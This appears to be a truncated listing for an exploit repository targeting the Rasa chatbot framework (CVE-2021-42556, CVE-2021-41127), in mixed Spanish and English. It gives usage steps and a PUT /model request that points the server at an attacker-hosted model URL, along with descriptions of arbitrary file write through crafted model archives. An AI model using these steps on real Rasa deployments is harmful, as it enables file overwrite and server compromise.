Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Ejecútalo directamente python server-1.py Carga arbitraria de archivos PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 El resultado es el siguiente: CVE-2021-41127 server-1.py El nombre del modelo predeterminado ...

CVE-2021-41127

Rasa is an open source machine learning framework to automate text-and voice-based conversations. In affected versions a vulnerability exists in the functionality that loads a trained model tar.gz file which allows a malicious actor to craft a model.tar.gz file which can overwrite or replace bot...

CVE-2021-41127

CVE-2021-41127 affects Rasa open source framework. A vulnerability exists in the model-loading path for trained archives (model.tar.gz) that can be crafted to overwrite or replace bot files in the bot directory. Root cause: arbitrary file write via crafted model archives during load. Impact per s...